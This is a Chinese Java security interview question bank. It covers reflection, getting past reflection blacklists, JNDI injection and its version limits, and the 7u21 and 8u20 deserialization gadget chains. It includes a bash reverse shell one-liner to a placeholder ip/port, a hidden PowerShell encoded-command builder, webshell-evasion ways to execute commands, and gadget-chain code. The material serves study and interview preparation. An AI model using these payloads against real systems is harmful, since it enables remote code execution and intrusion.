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计划定期更新，从基础到各种实战问题，打造齐全的Java安全面试题库

最低难度★，最高难度★★★★★

作者技术水平水平，难免有错误之处，欢迎师傅们提出ISSUE和PR

- Java反射做了什么事情（★）

反射是根据字节码获得类信息或调用方法。从开发者角度来讲，反射最大的意义是提高程序的灵活性。Java本身是静态语言，但反射特性允许运行时动态修改类定义和属性等，达到了静态的效果

- Java反射可以修改Final字段嘛（★★）

可以做到，参考以下代码

field.setAccessible(true);

Field modifiersField = Field.class.getDeclaredField("modifiers");

modifiersField.setAccessible(true);

modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);

field.set(null, newValue);

- 传统的反射方法加入黑名单怎么绕（★★★）

可以使用的类和方法如下（参考三梦师傅）

ReflectUtil.forName

ClassLoader.loadClass

MethodAccessor.invoke

JSClassLoader.invoke

JSClassLoader.newInstance

- Java中可以执行反弹shell的命令吗（★★）

可以执行，但需要对命令进行特殊处理。例如直接执行这样的命令：`bash -i >& /dev/tcp/ip/port 0>&1`会失败，简单来说因为`>`符号是重定向，如果命令中包含输入输出重定向和管道符，只有在`bash`下才可以，使用Java执行这样的命令会失败，所以需要加入`Base64`

bash -c {echo,base64的payload}|{base64,-d}|{bash,-i}

针对`Powershell`应该使用以下的命令

powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc 特殊的Base64

这个特殊的Base64和普通Base64不同，需要填充0，算法如下

public static String getPowershellCommand(String cmd) {

char[] chars = cmd.toCharArray();

List<Byte> temp = new ArrayList<>();

for (char c : chars) {

byte[] code = String.valueOf(c).getBytes(StandardCharsets.UTF_8);

for (byte b : code) {

temp.add(b);

}

temp.add((byte) 0);

}

byte[] result = new byte[temp.size()];

for (int i = 0; i < temp.size(); i++) {

result[i] = temp.get(i);

}

String data = Base64.getEncoder().encodeToString(result);

String prefix = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ";

return prefix + data;

}

- 假设`Runtime.exec`加入黑名单还有什么方式执行命令（★★）

其实这个问题有点类似`JSP Webshell`免杀

大致方法有这些：使用基本的反射，ProcessImpl和ProcessBuilde，JDNI和LDAP注入，TemplatesImpl，BCEL，BeansExpression，自定义ClassLoader，动态编译加载，ScriptEngine，反射调用一些native方法，各种EL（SPEL和Tomcat EL等）

- RMI和LDAP类型的JNDI注入分别在哪个版本限制（★）

RMI的JNDI注入在8u121后限制，需要手动开启`com.sun.jndi.rmi.object.trustURLCodebase`属性

LDAP的JNDI注入在8u191后限制，需要开启`com.sun.jndi.ldap.object.trustURLCodebase`属性

- RMI和LDAP的限制版本分别可以怎样绕过（★★）

RMI的限制是限制了远程的工厂类而不限制本地，所以用本地工厂类触发

通过`org.apache.naming.factory.BeanFactory`结合`ELProcessor`绕过

LDAP的限制中不对`javaSerializedData`验证，所以可以打本地`gadget`

- 谈谈TemplatesImpl这个类（★★）

这个类本身是JDK中XML相关的类，但被很多`Gadget`拿来用

一般情况下加载字节码都需要使用到ClassLoader来做，其中最核心的`defineClass`方法只能通过反射来调用，所以实战可能比较局限。但JDK中有一个`TemplatesImpl`类，其中包含`TransletClassLoader`子类重写了`defineClass`所以允许`TemplatesImpl`类本身调用。`TemplatesImpl`其中有一个特殊字段`_bytecodes`是一个二维字节数组，是被加载的字节码

通过`newTransformer`可以达到`defineClass`方法加载字节码。而`getOutputProperties`方法（getter）中调用了`newTransformer`方法，也是一个利用链

- 了解BCEL ClassLoader吗（★）

BCEL的全名应该是Apache Commons BCEL，属于Apache Commons项目下的一个子项目

该类常常用于各种漏洞利用POC的构造，可以加载特殊的字符串所表示的字节码

但是在Java 8u251之后该类从JDK中移除

- 谈谈7U21反序列化（★★★★★）

从`LinkedHashSet.readObject`开始，找到父类`HashSet.readObject`方法，其中包含`HashMap`的类型转换以及`HashMap.put`方法，跟入`HashMap.put`其中对`key`与已有`key`进行`equals`判断，这个`equals`方法是触发后续利用链的关键。但`equals`方法的前置条件必须满足

if (e.hash == hash && ((k = e.key) == key || key.equals(k)))

所以这里需要用哈希碰撞，让下一个`key`的哈希值和前一个相等，才可进入第二个条件。而第二个条件中必须让前一个条件失败才可以进去`equals`方法，两个`key`对象不相同是显而易见的

接下来的任务是找到一处能触发`equals`方法的地方

反射创建`AnnotationInvocationHandler`对象，传入`Templates`类型和`HashMap`参数。再反射创建被该对象代理的新对象，根据动态代理技术，代理对象方法调用需要经过`InvocationHandler.invoke`方法，在`AnnotationInvocationHandler`这个`InvocationHandler`的`invoke`方法实现中如果遇到`equals`方法，会进入`equalsImpl`方法，其中遍历了`equals`方法传入的参数`TemplatesImpl`的所有方法并反射调用，通过`getOutputProperties`方法最终加载字节码导致RCE

关于7U21的伪代码如下

Object templates = Gadgets.createTemplatesImpl();

String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();

Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];

ctor.setAccessible(true);

InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);

Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);

LinkedHashSet set = new LinkedHashSet();

set.add(templates);

set.add(proxy);

map.put(zeroHashCodeStr, templates);

return set;

结合调用链

可以看到伪代码最后在`map`中`put`了某个元素，这是为了处理哈希碰撞的问题。`TemplatesImpl`没有重写`hashcode`直接调用`Object`的方法。而代理对象的`hashcode`方法也是会先进入`invoke`方法的，跟入`hashCodeImpl`方法看到是根据传入参数`HashMap`来做的，累加每一个`Entry`的`key`和`value`计算得出的`hashcode`。通过一些运算，可以找到符合条件的碰撞值

- 谈谈8U20反序列化（★★★★★）

这是7U21修复的绕过（作者对该问题了解较浅，面试没有被问到过）

在`AnnotationInvocationHandler`反序列化调用`readObject`方法中，对当前`type`进行了判断。之前POC中的`Templates`类型会导致抛出异常无法继续。使用`BeanContextSupport`绕过，在它的`readObject`方法中调用`readChildren`方法，其中有`try-catch`但没有抛出异常而是`continue`继续

所以这种情况下，就算之前的反序列化过程中出错，也会继续进行下去。但想要控制这种情况，不可以用正常序列化数据，需要自行构造畸形的序列化数据

- 了解缩小反序列化Payload的手段吗（★★★）

首先最容易的方案是使用Javassist生成字节码，这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令，可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载